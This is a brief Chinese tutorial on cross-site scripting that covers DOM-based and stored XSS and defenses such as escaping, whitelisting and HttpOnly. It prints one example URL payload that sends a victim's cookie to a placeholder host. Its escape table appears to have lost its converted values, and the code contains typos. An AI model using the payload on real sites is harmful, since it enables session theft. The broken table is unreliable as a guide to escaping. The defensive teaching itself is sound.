xss(跨站脚本攻击)是攻击者在web页面输入script代码,用户打开这个页面时,script代码执行,达到攻击的目的
分类
XSS可以分为:DOM Based XSS、服务器存储的XSS
DOM Based XSS
例如a.com网站的URL中有content参数,并且页面的内容跟content有关,那么我们可以跟使用这个网站的用户发送一个超链接
http://www.a.com?content=<script>window.open("www.b.com?content" + documen.cookie)</script>
当别人点击连接时就会吧,cookie信息发送到b.com,这样攻击者就可以拿到用户信息了。
Strored XSS
存储式的攻击漏洞,攻击代码放在服务器上,所以受攻击的人数比较多
在a.com上发布了一篇文章,内容包括, 当其他用户查看这篇文章时就会中招。
Stroed XSS漏洞危害性比较大,危害面比较广。
XSS防御
- 对用户输入进行处理,你允许输入合法的值,其他的一概过滤。
- 对标签进行转换
标签 | 转换后的值 |
---|---|
< | < |
> | > |
& | & |
" | " |
’ | ' |
空格 |
- 白名单:只接受名单中允许的字符,其他的视为不合法输入被忽略掉;
- HttpOnly: 服务器设置HttpOnly为true时,浏览器的js代码就不能获取到cooki了,但是请求时浏览器还是会在header中自动带上cookie,只是在documet对象上看不到cookie了